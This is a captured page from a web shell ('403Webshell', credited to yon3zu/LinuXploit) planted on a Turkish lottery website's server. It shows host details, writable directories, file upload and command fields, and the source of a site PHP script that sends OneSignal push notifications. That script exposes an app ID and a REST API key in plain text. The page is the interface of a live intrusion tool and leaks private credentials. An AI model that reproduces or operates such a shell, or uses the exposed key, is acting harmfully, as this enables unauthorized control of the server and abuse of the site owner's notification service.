403Webshell
Server IP : 185.86.4.75  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux lotom.com.tr 3.10.0-1160.81.1.el7.x86_64 #1 SMP Fri Dec 16 17:29:43 UTC 2022 x86_64
User : lotomcom ( 10006)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/lotom.com.tr/httpdocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/lotom.com.tr/httpdocs/onesgduz.php--
<?
	
	$hafta="1103";
	$url1="https://www.lotom.net/sayisal-loto-sonuclar-nb$hafta/";
	$urlbs="Sayisal Loto 30.12.2017 cekilis sonuclari aciklandi ";
	$urlms="Sayisal Loto 30.12.2017 cekilis sonuclari aciklandi. Sonuclara gitmek icin tiklayiniz..";
 
function bildirim_gonder(){

	$app_id = "82ea6843-393f-4bbd-9b17-e7e8a5456903";
	$rest_api_key = "NTU3YmE1YjEtYWFlMi00MDFkLTg0Y2MtNzVhZmNiOTJmNGJk";

	global $url1;
	global $urlbs;
	global $urlms;
	$url=$url1;
	
	$headings = array(
		'en' => $urlbs
	);
	$content = array(
		'en' => $urlms	
	);

	$fields = array(
		'app_id' => $app_id,
		'included_segments' => array('All'),
		'data' => array("foo" => "bar"),
		'headings'=>$headings,
		'url'=>$url,
		'contents' => $content
	);

	$fields = json_encode($fields);
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, "https://onesignal.com/api/v1/notifications");
	curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json; charset=utf-8',
		'Authorization: Basic '.$rest_api_key.''));
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
	curl_setopt($ch, CURLOPT_HEADER, FALSE);
	curl_setopt($ch, CURLOPT_POST, TRUE);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
	$response = curl_exec($ch);
	curl_close($ch);
	return $response;
}

$response = bildirim_gonder();
$return["cevap"] = $response;
$return = json_encode( $return);

print($return);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit